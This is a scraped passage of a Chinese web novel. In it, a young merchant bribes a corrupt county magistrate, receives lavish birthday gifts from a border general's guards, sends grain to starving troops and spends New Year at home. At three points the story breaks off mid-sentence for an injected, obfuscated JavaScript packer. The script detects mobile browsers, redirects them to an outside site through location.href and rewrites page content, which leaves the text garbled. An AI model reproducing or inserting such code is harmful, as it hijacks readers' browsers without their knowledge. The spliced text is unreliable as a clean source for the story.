曲花间接过曲宝递上来的木盒,给迎上来的胡掌柜递了个眼神,才匆匆上楼去。 敲开包间门,只见一留着山羊须,五短身材的中年男人面若冰霜的坐在首座,而他左右两边各坐了一个和他年纪差不多的男人。 三人皆是锦衣华服,头戴金冠,看起来奢华无比,只是几人长相一般,又吃得脑满肠肥,眼底青黑,一看便知被酒色掏空了身子,再好的服饰穿在他们身上也只是衬得衣服更廉价。 曲花间一进包间,便面露惶恐,行了个大礼,“县太爷和两位官爷大驾光临,草民有失远迎,求大人恕罪!” 县太爷见来人年纪轻轻,又一脸诚惶诚恐,态度极为恭敬,黑着的脸不免松动半分。 曲花间等了好一会儿,才听到一道粗噶的声音说了声“起来吧。” 虽说内心将桌上的狗官骂了好几遍,但曲花间面上没有任何变化,他装作不知所措的爬起身,拘谨的站在桌前,手上的木盒故意捧得老高。 “手里拿的什么?”青岱县令苟聪随意扫了曲花间手上的盒子,心中暗暗猜测里面能有几张银票。 这小老板也太不懂事了,竟要等他堂堂县太爷屈尊降贵莅临这火锅店才知道孝敬他。不过话又说回来,这火锅虽说辛辣无比,但确实别有一番风味。 曲花间悄悄抬眼看了眼他那贪婪的表情,心中冷笑,走上前弯腰将木盒递了上去,“草民年初时梦见仙人下凡,他老人家说咱们青岱县的县令大人为官清廉,爱民如子,心痛咱们老百姓受旱灾肆掠,日日为民祈福,终于感动上苍,便赐下了一种能让庄稼增产的法子。 草民一来不知此梦真假,二来大人日理万机,不敢登门打搅,便未及时上报,只能先在自家庄子上试验,没想到这办法竟是真的,今年草民庄子上的庄稼果真比别处长得好,每亩地足足增产了好几十斤!” 曲花间说的自然是沤肥之法,只是仙人托梦这种说法是他为自己找的借口。 虽然他告诉曲宝等人这些法子都是从杂书里看来的,但这些当官的虽说不见得阅览群书,但肚子里多少有点墨水,肯定不会相信这个借口。 编出这样一个带有神话色彩的故事,既能掩饰自己的特殊之处,又能将哄得苟聪高高兴兴,不再与他为难,何乐而不为呢? 用这法子来贿赂县令他也不心疼,若这狗官能为了政绩将此法推广出去,也算大功一件了。 只可惜曲花间心里明白,光一个能让苟聪增加政绩的办法是填不饱这贪官的胃口的,他又在盒子里放了十张一百两的银票。 虽然明知贿赂不对,也十分心疼自己辛苦赚来的银子,但这狗官都已经找上门来了,若不出点血,苟聪必然不会轻易放过。 “哦?竟有此事?”苟聪被曲花间一顿阿谀奉承说得飘飘然,他得意的捋着胡须,想着若此子所言非虚,只要将这法子报上去,又能给自己添一笔政绩,说不定这坐了十多年的位子也能往上挪一挪。 “草民绝不敢有半句虚言,原本秋收时便想将此时上报予大人知晓,可草民一介白身,想见上大人一面却苦于没有门路,这才拖延至今。” 曲花间言辞激动,将一个想巴结县令却投效无门的奸商模样扮演得淋漓尽致。 苟聪接过曲花间手中的盒子,见里面厚厚一沓纸,上面写满了文字,他随意翻了翻,发现下面压着的纸张上盖着属于钱庄的专属印记,这才满意的点点头,将盖子合上,道:“倒是你有心了,这增产之法乃是大功一件,你可有想要的?本官答应你一个请求。” 想到自己未来升官发财的模样,苟聪就难掩愉悦,看曲花间也顺眼了许多。 曲花间闻言,又装出一份诚惶诚恐的表情,连呼不敢,“这本是大人感动上苍赐下的办法,草民怎敢居功?” 见曲花间如此识时务,又不求回报,苟聪对他很满意了几分,也不再计较他之前未向自己上供的事情。 又或许是看在那一千两银票的份上,苟聪主动说道:“你这孩子很是不错,既然你无甚要求,本官也不能白拿你的,改日我让人给你送块匾来,你挂在家里,只要你不犯事,这青岱县便没人敢招惹你!” 说罢,苟聪像是又想起什么一般,补充了一句:“对了,你这店赚得不少吧?可不能偷税漏税,记得,每月按时缴税,三成商税。” 曲花间闻言吃了一惊,他抬头看了苟聪一眼,又很快掩去眼底的愤怒,温声答了声:“是!” 这狗官,还真是好人坏人全让他一个人做了,送匾的意思,便是让手底下贪官污吏们搜刮民脂民膏时绕开他们曲家,曲花间本以为苟聪得了好,良心发现了。 却没曾想他是不让别人搜刮,换他亲自来,按周朝例率,贩卖食物的商铺只需交营业额的两成,这已经算是重税了。 毕竟普遍卖食物的商铺,除去成本人工,毛利率能达到四成已经算是多的,许多小商贩毛利仅仅两三成。 再交去两成的税,其实赚得真心不多,而苟聪却堂而皇之的给曲花间加了一成税,多出那一成,进了谁的腰包,不言而喻。 这还不如从前呢,从前那些衙役最多也就是吃火锅不给钱,或是顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487866|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走一两瓶葡萄酒,算下来一个月也亏不了这么多。 人在屋檐下,不得不低头,虽然心中十分痛恨这狗官不做人,但曲花间还是扯着笑脸送出了门,不仅免了单,临走时还送上几十瓶高档葡萄酒。 等县令车架走出去老远,曲花间才转身上了二楼,他木着脸将自己关进包间生闷气。 “早知道这狗官是喂不饱的狗,那一千两就不该给他!”青瓷茶杯被重重放下,里面的茶水荡漾出来,浇湿了莹白如玉的指节。 曲宝虽未目睹全程,但也知道自家少爷受了委屈。 要知道他家少爷虽然算不上视钱如命,但也是个财迷,平时吃穿用度十分节省,库房里的银子一月要数三遍,如今平白损失一大笔银两,不难过才怪呢! “少爷,您别气了,听说城里的大商户好多都是交三成税,除此之外,逢年过节还得给县衙里大大小小的官员打点,这样算下来,咱们省了不少银子呢!”曲宝挠着头,想着安慰的话。 “对了!听厨房说今儿的酸梅汤熬得特别好,我去端着来您尝尝?败败火。” 曲花间摇摇头,将手中杯子里仅剩的茶水一饮而尽,“这些狗官太过分了,你说他们但凡为老百姓干过半点实事,便是贪点也算了,可这些人只知道尸位素餐,欺压百姓,我真不想将我辛辛苦苦赚来的钱给他们!” “可是少爷……当官的都这样,咱们南下的时候您没看到吗?那些当官的心更黑,相比起来咱们青岱县算好的了。” “我知道……”可我接受不了这样的世道,却又无力反抗,后面的话曲花间没说出口,他长叹一声,眼神无奈。 生在红旗下底下的少年,怎么可能接受这样的领导者呢? 在他的心里,领导者应该是带领老百姓走出困境,让老百姓能过上衣食无忧的生活的人。 而不是将百姓视作为自己创造财富,随意欺辱的对象。 “少爷。”曲宝蹲在曲花间腿边,仰着头,用崇拜的眼神看着自家少爷:“要不您去参加科考吧!等将来及第做了大官,就可以把这些贪官坏官们全部抓起来了!” “你以为做官这么简单呢,还想做大官!”曲花间听着曲宝天真之言,有些好笑。 “少爷您这么厉害,一定能考上的!到时候您读书,我就给您当书童!” “先不说我能不能考上,你少爷我这点家产,连个县令都做不了。” “当官跟家产有什么关系?” 面对曲宝的疑惑,曲花间没有作答,据他所知,大周朝朝堂腐败,买卖官职已成习惯,哪怕你有真才实学,也得有钱打通关节,才能获得授官。 而底层官员要想升官,除了要有政绩,就得看银子,这也是不管是朝廷命官,还是地方大小官员,都会疯狂敛财的原因。 毕竟政绩可以伪造,真金白银却不会凭空飞来。 所以即便有条件可以做官,曲花间也不愿意,一旦入了坑,就是深渊泥沼,再也出不来,洗不净了。 16. 送礼 苟聪虽然贪,但好歹还算是信守承诺命人将牌匾送了过来,曲花间并未将牌匾挂起来,而是找了间空屋子丢进去,随手摆了张香案,插上一把香。 等香燃尽后,留下许多香灰作出一幅将牌匾供起来的情景,再将房门一锁,眼不见为净。 自从县太爷的牌匾被当街送入曲府,来满座火锅找茬的地痞流氓全都消失了,连从来蛮横无比的官府衙役过来吃饭,也都会规规矩矩结账。 曲花间见此情景,心中的愤懑总算消下去半分,只是看见每月送上来的账本是明晃晃写着有一大笔钱被送去“交税”时,还是气不打一处来。 这日是腊八,也是曲花间的生辰,过了今日,曲花间便十六了,在这里便算是成年了。 大雪从昨日一早开始下,整整下了一天一夜,总算在初八清晨停了下来。 清晨,院子里的雪还没扫,曲花间穿着牛皮靴子一脚踩进积雪里,松散的雪粒瞬间淹没曲花间的小腿。 “昨夜雪好大,今年又是个冷冬。”曲花间在雪面上留下一串脚印,走进院子中间,学着从前在小视频软件里看见的那些人,猛的倒下,在雪里印出个人形。 厚厚的积雪被曲花间压出一个坑,哪怕后脑勺着地也不觉得疼,但把曲宝给吓坏了。 见曲花间突然倒下,曲宝以为他摔跤了,连忙趟着雪跑过来,积雪被他踩得哗哗作响。 “少爷,您小心着点儿!”曲宝将曲花间扶起,又大声冲院外呼喝一声:“人呢!都死哪去了?什么时辰了还不来扫雪!摔着少爷我爹叫你们吃不了兜着走!” 曲花间摆摆手,“没摔着,我自己倒下来的,你没发现这个印儿跟我的身形一模一样吗?” 曲宝:“……” “少爷,您怎么跟个小孩儿似的。” “我像小孩儿?你再说一句试试!?”实际年龄已经二十好几的人被十多岁的半大少年说幼稚,曲花间脸颊发烫,他随手捏了个雪球便往曲宝衣领里扔。 见少爷主动与自己打闹,曲宝也被激出了几分玩心,他捏了一个大大的雪球准备还击,却被曲花间轻松避开。 两个半大少年便这样在雪地里追逐打闹,欢笑声传出老远。 等扫雪的下人听见院里没了动静探进头一瞧,院里平整光滑的雪地早已一片狼藉。 好在曲宝已经随着曲花间进了屋子,下人赶紧轻手轻脚的溜进去扫雪,趁着曲宝出门瞧见他们之前打扫干净闪人。 于是伺候着少爷换完衣服自己也去换了一件的曲宝,准备出门将偷懒的下人痛骂一顿时,却发现院里早已打扫得干干净净,哪还有下人的影子? 冬日是一年中最闲的时候,除了林茂和余三两家本来就住在曲府和住在满座火锅附近的胡掌柜外,城外庄子上的几位管事也带着家人进城给曲花间庆生。 因着曲花间特意吩咐今日腊八,给府里下人们弄点好的,厨房从清晨便开始忙活,总算赶在正午之前将曲花间的生辰宴准备好。 给曲花间庆生的人坐了两大桌,曲福父子也破例上了桌,众人围着烧得热乎的火炉涮火锅。 几个小孩儿和女眷坐在一起,剩下的男人和曲花间围坐一桌喝着小酒。 曲花间逐一询问了胡掌柜和管事们各自手上负责的事宜后,又和其他人闲聊了一会儿,几杯红酒下肚,众人都有了些醉意,唯独曲花间越喝越兴奋。 虽说脑袋在酒精的刺激下有些浅浅的眩晕感,但意识却十分清醒。 他看着这些真心实意来给自己庆生的人,虽然不算朋友,但仍是十分满足。 前世曲花间的生日总是一个人过,在冷清的出租屋里,用点燃的打火机代替蜡烛,就算是过生日了。 像现在这样热闹的场景,曲花间只在参加别人生日会时见过。 酒过三巡,饭菜也下了肚,屋外下人来报,说有人给他送生辰贺礼。 曲花间在脑海中翻找了半天,能给他送生日礼物的人都坐在席间,而他们的礼物也都在饭前送给自己了。 除了几个原料商和吃了他许多银子的县令,曲花间就没什么认识的人了。 而原料商都不知道自己的生辰,官府的人倒是可以通过户籍登记知道,但那狗县令绝不会反过来给他送礼,不再向他索贿就不错了。 “说是谁家的人了吗?送的什么礼?” 下人摇摇头,“没说,只是那些人都穿身披甲胄,应该是当兵的,七八个人抬着四口大箱子,也没打开,不知道什么东西。” “当兵的?”曲花间迷茫了片刻,脑海中闪现出一个男人的样貌,又摇头挥去,“我哪认识什么当兵的?” 说归说,曲花间还是将人迎了进来,只见八个高头大马的黑甲兵士腰跨长刀,昂首挺胸迈着整齐的步子踏入正堂,轻手轻脚的将手中木箱放下。 领头的兵士环顾一圈,目光锁定的站在主位迎接的曲花间,他面带恭敬的抱拳行礼。 不等曲花间询问,那人便主动自报家门:“曲公子,在下秦叶,我等乃幽州边军穆将军的亲卫,将军得知您今日生辰,特意令我等送上贺礼,都是一些幽州特产,还望曲公子笑纳!” “穆将军?”曲花间低头看向腰间的莹白玉佩,那是穆酒送他的谢礼,因着质地通透,图样也好看,曲花间便一直戴在身上,“我不认识什么将军,可是一位名叫穆守疆的青年男子?” 秦叶早就瞥见曲花间佩在腰间那专属于自家将军的玉佩,但他并未多言,只悄悄瞄了一眼便收回视线,中气十足地回答:“正是!” 曲花间了然的点点头,回想起男人挺拔刚正的气质,再结合守疆这个名字,很容易便能联想到穆酒是个当兵的,只是没想到他居然是个将军。 只是自己从未跟穆酒提起过自己是哪里人士,更别提生辰几何,如今他却令人在准确的时间地点送来了生辰礼,这让曲花间有些不悦。 他轻哼一声,甩袖坐回饭桌上,“我与你们将军不过萍水相逢,谈不上交情,他是大将军,调查我的事我无力计较,但礼就不必了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487867|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,各位请回吧!” 秦叶闻言一脸为难,“这……曲公子,将军说了,若礼送不到,回去便按违抗军令处置我们,还请公子不要为难我们。” “你们这是威胁我?”曲花间冷笑一声,修长的指节敲击桌面,发出清脆的“扣扣”声。 前段时间被县令为难便算了,现在又被什么将军将身份信息调查个一干二净,曲花间心里窝着火,说话也变得不客气起来。 一双好看的眉眼也染上恼怒。 正准备唤人将这几个兵士撵出去,却听下人来报,县令苟聪竟也来了,此时就等在门口。 要说苟聪堂堂县太爷,要到一个商户家里,哪会这般客客气气的在门外等着? 一般都是早早有下人过来通知这家主人,提前在门口守着迎接,摆足了派头。 曲花间虽厌烦苟聪,但也不得不对其虚以委蛇,此时也顾不得这几位兵士,赶紧迎出门去。 谁知曲花间谄媚的表情还没装出来,那苟聪便一脸热情的走上来,“曲老弟啊!今日你生辰怎么不跟老哥说一声呢?叫我临时知晓连礼都没来得及备一份!” 这副亲热熟稔的模样把曲花间给整懵逼了,他眼睁睁看着苟聪上前来拉着自己的手,像是回自己家一般进了门,直往正堂而去。 “怎的,曲老弟不欢迎我?”苟聪见曲花间一副呆样不吱声,扬着笑脸问。 “大人说笑了,大人大驾光临,令寒舍蓬荜生辉,怎会不欢迎呢?只是草民生辰区区小事,怎敢劳动大人亲自前来呢?” 虽然不知道苟聪葫芦里卖的什么药,但打不过就加入,曲花间也忍着恶心和他对演。 “嗨!曲老弟这是什么话?咱俩的交情……”苟聪话说到一半,人也跨进了正堂门槛,像是才看清屋里的人一般,他佯装惊讶的打量了那几位兵士一眼,看清领头人的相貌后,惊呼一声:“呀!这不是秦校尉嘛!您怎么在这?” 看着苟聪拙劣的演技,曲花间总算明白这狗贼是醉翁之意不在酒,想来是不知从哪探知了这位秦校尉的踪迹,特意过来的。 秦叶并不认识苟聪,但认得他身上专属于县令的官服。 县令官拜九品,而他虽是穆将军的亲卫,但也是正八品宣节校尉。 官高两级,又素来知道这些地方官的品性,秦叶并不想搭理苟聪,只淡淡的撇了他一眼。 苟聪碰了个软钉子并不气垒,仍旧高高兴兴的给秦叶行了礼,又问他怎会在此处。 想着要给曲花间面子,秦叶耐着脾气回答:“曲公子乃是我家将军好友,今日公子生辰我家将军走不开,特命我代替他前来给公子贺寿。” “原是如此!”苟聪肥硕的双手一拍,“曲老弟你这就没意思了!穆将军是你好友这事你怎么不跟我讲呢?要早些知道,我该对你多加照顾的,你小小年纪撑起这份家业,这般艰难,也不……” 苟聪滔滔不绝地说着些套近乎的话,曲花间听得脑子嗡嗡直响,心里暗自翻白眼,这狗官是真会恶心人。 17. 特产 被苟聪这一搅和,曲花间也不好再说将秦叶一行人撵出去的话。 曲花间只得将醉得迷迷糊糊的曲宝从桌上拎起来,让他带着其他客人到偏厅休息,又让下人重新上了一桌酒菜,用来招待苟聪和秦叶一行。 因着秦叶一上来便坐在主坐下首的位置,苟聪也不敢往主坐凑,便客气的让曲花间坐了上去,而他则挨着曲花间坐在他右手边。 夹在两个当官的中间,苟聪又一直谄媚的越过他与秦叶攀谈,曲花间这顿饭简直食不知味。 好在刚才已经吃过一轮,肚子不饿,曲花间也就没怎么动筷子,只冷眼看着从前高高在上的县太爷此时如狗腿子一般不停拍着马屁。 而秦叶呢?在以茶代酒向曲花间贺寿后,便不再说话,伙同他手下几个兵士如风卷残云般横扫桌面,不过一柱香时间,桌上的饭菜便被扫干净,连调味的蒜片都不剩下。 “秦校尉和各位兵士兄弟胃口真好哇!这一路奔波劳顿,想必十分辛苦。”苟聪收回无处下筷的手,谄媚的表情里藏着一丝鄙夷。 他不着痕迹的上下打量了几人一番,心道:到底是北荒之地来的野蛮人,跟几辈子没吃过饭似的,要不是对方官职比他高,他是断断不可能与之结交的。 曲花间撇了苟聪一眼,也看清了他眼里那份一闪而过的轻蔑,他轻扬嘴角,双眸微敛,让人看不出他在想什么。 曲宝刚刚虽然醉得有些迷糊,但一碗醒酒汤灌下去,此时早已精神无比,他看着饭桌上尴尬的情形,冲曲花间做了个表情,便默默退出正堂,让下人赶紧再弄些饭菜送来。 “实在对不住两位大人,这两年生意难做,为节省开支,家里裁了不少下人,这厨房如今就我那小厮母亲一个人掌勺,上菜慢了些,还望大人见谅。” “不妨事,是我们兄弟几人太能吃,让曲公子见笑了。”秦叶黝黑的脸皮有些泛红,明明自己是奉命前来送礼的,结果礼还没送出去,先吃了顿席,这要是让将军知道了,怕是要将他踹飞出去! 曲花间看着秦叶那副憨直的模样,心里因穆酒查自己而对他产生的不满也消散几分,笑道:“这说的哪里话,你们边境将士保家卫国,本就需要强健的体格,能吃才好呢!放心吃,敞开吃,不必拘礼。” 等菜重新上来这段时间,三人闲聊了几句,大致情形便是苟聪说话,秦叶不作理会,而曲花间不想局面太过难看,便顺着苟聪的话继续说,秦叶这才作答。 聊的都是些家长里短的闲话,并不涉及官场和军事,毕竟有曲花间这个白身在场,苟聪再想巴结秦叶,也不会在他面前说什么不该让他听到的。 没一会儿下人们又端来许多饭菜,将桌上的空盘换了下来,这次的饭菜道道分量十足,但几名兵士还是将其一扫而空,倒是秦叶,因着有些不好意思,下筷的动作克制了许多。 看着手下兵士狼吞虎咽的没个吃相,秦叶本想呵斥两句,又想着这些汉子平时挨饥受冻,最终也没忍心。 一顿饭吃了半个多时辰,幸好曲宝聪慧,让让厨娘又煮了一大锅米饭,才没出现刚才那样的尴尬。 酒饱饭足,秦叶对自己爱搭不理,苟聪也不好再赖着不走,只得悻悻告辞。 “曲公子,此人看着不像是个好官,我们边军将士年年拿不到军饷,吃不饱饭,许多兵士没死在战场上,却活生生饿死在军营里!都有这些贪官污吏一份功劳,您可借将军名号震慑他不再为难于你,但千万不要同流合污。” 秦叶性情刚直,说起自己无辜枉死的同僚,更是义愤填膺,刚才没对苟聪横眉冷对已是看曲花间面子,此时人一走,他便忍不住提醒曲花间。 “你怎知我是否早已与他同流合污了呢?”曲花间笑意盈盈,看着秦叶。 秦叶被那双戏谑的桃花眼盯着,竟有些不好意思,他默默移开视线,一本正经的回答:“曲公子心地善良,与我家将军素昧平生,也能出手相救,绝不会与那等奸人为伍!” “秦校尉此话过于武断,苟聪乃我县县令,而我只是一介小小商人,要在他眼皮底下活下去,即便我心有不甘,也不得不讨好于他。” “善良的人在这个时代可活不下去。”曲花间轻敛双眸,微微叹息。 “曲公子只管做自己便是,我家将军说了,冀州知府欺软怕硬,他已想办法让此人知晓了您与将军是知交好友,未避免得罪将军,此人必定会提醒苟聪不再为难于你。”秦叶一边一板一眼的复述自家将军的话,一边小心打量着曲花间的神色。 这曲公子真是个清正磊落的人,若是知道自家将军以势压人,怕是会不高兴。 只可惜秦叶估错了曲花间的脾性,“虽说你家将军调查我的身世来历有些过分,但这份人情我承了,我与他虽不是什么知交好友,但我亦非忘恩负义之人,秦校尉与几位兄弟且在家里休息两日,给我些时间为将军准备回礼。” 秦叶闻言连忙摆手,“不可不可!曲公子能收下这礼物就很好了,要是将军知道你的回礼,定要将我们军法处置的!” “你们将军这么凶?可我看你们对他颇为爱戴。” “国有国法,军有军规,将军虽待我们如同手足,但他赏罚分明,对犯错之人也决不姑息!” “那你们将礼抬回去吧,无功不受禄,我救穆将军时已收了谢礼,这生辰礼我可不敢收。” “这……曲公子,这都是些幽州特产,不值钱的,您就收下吧!”说些秦叶顺势将四口木箱打开,一样样放在现代也十分名贵的特产赫然在内。 只见四口箱子里人参、鹿茸、灵芝、各色坚果干蘑菇应有尽有,还有一口箱子满满当当塞着许多张成色极好的动物皮毛。 “嘶……”曲宝一直立在曲花间身侧,看到箱子里这么多名贵特产,不由深吸一口气。 “你们管这叫不值钱的特产?”曲花间也被这些东西惊了一下,幽州地处东北,这些东西确实算是幽州特产,但和不值钱三个字可毫不相干。 “曲公子有所不知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487868|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们边军驻扎在幽州极北之地,别样物资匮乏,但这些东西确实是常见之物。” “你可知这些东西在南方……莫说南方,便是在此地的价格也是高得吓人。”曲花间捏起一粒榛子,剥了壳送入口中细嚼慢咽,独特的香味瞬间萦绕口腔。 从前曲花间便酷爱各类果实,无论坚果水果都喜欢,只可惜除了瓜子花生,其他坚果价格都较为昂贵,每次也只能买一点尝尝鲜,而这箱子里榛子、松子和山核桃各一大包,够他吃上许久了。 “知道归知道,可边境常有战事,商人不敢往幽州来,本地也少有能去南方的大商户,军中也无力经营,便是有这些宝贝也没什么用处。”秦叶无奈叹气。 想到年初南下买粮时的一路艰险,曲花间也叹了口气,复又灵机一动,两眼放光的看向秦叶:“普通商人南来北往最大的问题便是路途遥远,匪徒众多,可你们边军兄弟想来是不怕劫匪的,不若我与你们将军做笔生意,你们负责供货和护送货物,我来负责替你们将货物销往南方,顺便采买边军所需物资,如何?” “真的?此法可行?”想到这办法能换来多少钱粮,秦叶瞬间兴奋不已,如此一来,哪怕朝廷不拨饷,边军怕是也能自给自足了! 两人讨论许久,眼看天色渐晚,秦叶这才意犹未尽的离开正堂,在下人的带领下去了曲花间为他们准备的院子休息。 秦叶一走,曲花间也去了书房,取出今年各处送来的账本,细细盘算着。 今年收上来的粮食,刨去粮税和消耗,还剩下稻谷十一万斤,高粱黄豆各四万多斤。 而今年开了火锅店和卤味店,又有红酒这样进项,目前曲花间手里已经攒下莫约五万两银子。 今年年景不错,各地粮食皆是丰收,粮价虽然还是很高,但也略有回落,差不多在四十文一斤上下浮动,曲花间打算送穆酒五十万斤粮食作为回礼。 这么些粮食加上运费,抵穆酒送来那些特产三倍有余。 倒不是曲花间人傻钱多,而是想着午间那几名兵士狼吞虎咽的样子,又听秦叶无意间说起边军如今拿不到军饷,兵士连饭都吃不饱,从小便对保家卫国的军人充满敬仰的曲花间心里有些难受。 哪怕时局艰难,朝廷腐败不堪,这些热血男儿也坚定不移的守卫边疆,才让那些身居高堂的人有时间尔虞我诈,欺民敛财,而他们却连点粮饷都如此吝啬。 更何况穆酒替自己在苟聪面前撑了腰,想必这狗官以后也不好再像之前那样明目张胆的索贿,这便能省下许多银子了。 “少爷,您可真大方!上次给县太爷一千两您都心疼许久,没想到您竟然准备给边军将士送这么多粮食。”曲宝听了曲花间的打算,对自家少爷的崇拜更上一层楼。 “这些钱,用来买粮食可以让几十万兵士不再饿死,用来贿赂狗官也不过是供他花天酒地几天,是你你怎么选?”曲花间停下打草稿的笔,一手撑着下巴,双目出神。 “那我当然选前者了!” 18. 除夕 秦叶急着回幽州复命,筹备粮食也需要时间,曲花间只能先写了一封信让秦叶带给穆酒,又从城外仓库调了十万斤粮食让他先行回去。 “你们人太少,运粮队伍冗长,先将这些粮食运回去,之后我会再准备四十万斤粮食,还请穆将军派些人过来将剩下的粮食运回去。” “曲公子。”秦叶眼眶泛红,他直挺挺的矮下身子身子,单膝跪地,身后的几名兵士也同样如此。 “在下本不该收曲公子的回礼,可这些粮食能让边军将士吃上一顿饱饭,我实在说不出拒绝的话来,请公子受我一拜,我替边军将士多谢曲公子!”说完,秦叶便重重的叩拜下去。 曲花间连忙将秦校尉扶起,“秦校尉不必如此,边军将士戍守边疆,抵御外敌来犯,我等平民百姓才有机会安居乐业,既然享受了将士们带来的和平,我自当略尽绵薄之力。” “大恩不言谢,曲公子,我等告辞了。” “路上小心,我这些伙计,还请秦校尉多照顾。” 十万斤粮食整整装了二十车,除了拉车的牲畜,还需要人赶车,此次带队运粮的是林茂和陈成两人,其他人也都是年初跟着曲花间南下过的人。 林茂和陈成此时一人手里牵着一辆牛车,见东家提起自己,他俩也抱拳冲秦叶行了个礼。 三人前两日便打过照面,此时已然熟捻,在跟曲花间道完别之后相伴向北而去。 秦叶刚走没两天,曲花间便收到了苟聪送的礼,曲花间随手翻了翻,是些字画,画上署名曲花间闻所未闻,想必是不知从哪个犄角旮旯搜来敷衍他的。 曲花间并未收下这所谓的生辰礼,只说不忍看县令大人破费,那送礼的衙役见状也没强求,非常自然的又将礼物带了回去。 有了穆酒撑腰,青岱县再也没了会找曲花间麻烦的人,好不容易得了闲,便开始了惬意的米虫生活。 如今青岱县各大粮商手里都有货,四十万斤粮食不算小数目,但几家凑一凑,也不是什么难题,此事曲宝便能办的妥妥贴贴。 屋外的雪下了停,停了又下,曲花间整日窝在屋子里冬眠,日子转眼便到了年三十。 一大早,曲府仆役们便换上新发的冬衣,排着队给曲花间拜年,嘴里说着恭喜发财、平安喜乐之类的吉祥话,曲花间笑意盈盈的给每个人都发了红封。 有些心思单纯的仆役,还没走出曲花间的院子便将红包拆开,露出里面白花花的碎银,今年的红包竟有足足二两银子! 曲宝早知道这些仆役红封里有多少,那红封还是他装的呢! 他悄悄打开自己的红封,这是少爷单独给他包的,朱红的纸包薄薄的一层,摸不到硬物,打开一看,果然里面是一张百两的银票。 看着那些仆役兴奋的模样,曲宝心里偷笑,果然少爷还是最疼自己的! 发完红包,曲花间给仆役们放了两天假,许多年轻些的便高高兴兴约着府里相熟的人出门逛街,本就不甚热闹的曲府瞬间冷清下来。 索性曲花间是个爱清净的人,又有曲宝和留守儿童林冉陪着,倒也不算孤单。 年夜饭是曲花间亲手做的,鸡鸭鱼肉,荤素搭配,整治了满满一大桌,可惜他孤家寡人一个,除了曲福一家三口,就只有林冉陪他吃。 周朝过年的习俗和华国差不多,年夜饭得请祖宗们先吃,曲花间作为一家之主,祭祖之事自然落在他头上。 他虽然不是这个世界的曲花间,但原身的祖父在世时也对自己百般疼爱,是以曲花间祭祖时格外虔诚。 那凝重的表情让曲福父子面面相觑,心知少爷这是思念家人了,想到少爷年纪轻轻便没了亲人,还要撑起家业,曲福看向曲花间的眼神更加慈爱。 待烛纸燃尽,祖宗们就算吃过了,小辈才能上桌用饭,寒冬腊月的天,桌上的菜一有些凉了,好在还有个火锅是热乎的。 偌大的圆桌,只坐了五个人,人虽不多,但因着曲花间没有什么尊卑概念,和曲福几人相处得极为融洽,看起来就像和乐融融的一家子。 这顿饭一直吃到深夜,一大桌菜也剩了不少,不过年夜饭就是要剩得多才好,预示着年年有余。 曲宝的娘亲便是曲府的厨娘,她姓周,府里的人都叫她周大娘。 周大娘三下五除二将桌面收拾干净,外面也传来更夫的锣声,子时一过,许多人家便燃起爆竹,噼里啪啦的甚是热闹。 这时代还没有火药,自然也不会有烟花火炮,过年用的爆竹就是晒干的竹子扔进篝火里,被引燃的竹节爆裂开来发出响声。 天然爆竹威力不如火炮,但家家户户都在燃放,数量众多,声音也足够轰动小小的青岱县城。 曲花间坐在躺椅上,就着爆竹声给林冉讲爆竹驱年兽的故事,小姑娘没怎么熬过夜,听着曲花间舒缓绵软的声音渐渐开始搓眼睛,没一会儿便歪头倒在椅背上睡着了。 倒是曲宝听得津津有味,虽然这故事他从小到大不知道听了多少遍,但曲花间的版本稍有不同,又经过现代文化润色,比从前听自己老爹讲的有意思多了! 爆竹声中一岁除,春风送暖入屠苏。 子时一过,爆竹声便渐渐少了,没多久夜晚变得静谧无声,曲花间将早已睡熟的林冉送回房间,也打着哈欠回了房。 过了年三十,便是永恩十三年,初一到初三街上商户摊贩都不会开张,有些铺子甚至会等到初八才开门,曲花间也没有需要拜年的亲戚,便一直待在家里窝着。 曲府拢共就两个小孩儿,平时大人干活时林冉就和李阿大在府里各处转悠。李阿大年前跟着他娘回娘家过年了,就剩林冉一个人无聊得紧。 林冉在曲府住了大半年,早已和曲花间混熟了,这段时间她哥不在家,玩伴也不在,便整日跟在曲花间后头转。 曲花间不是个喜欢小孩儿的性子,但林冉懂事可爱,叫起哥哥来嗓音绵绵软软,纵是曲花间也忍不住对她多一份耐心。 曲花间坐在院里赏雪,林冉就在旁边堆雪人,看着那渐渐成型的四不像雪人,便忍不住起坏心,他假装用一根短树枝给雪人安鼻子,实则暗暗用力一戳,本就是豆腐渣工程的雪人瞬间崩塌,散落成小小一堆。 “啊!雪人!”林冉想挽救雪人的手还没伸出来,便见自己辛辛苦苦堆的雪人化为乌有,她鼓着腮帮子,却不敢责怪曲花间,只闷闷的挖雪,准备重新堆一个。 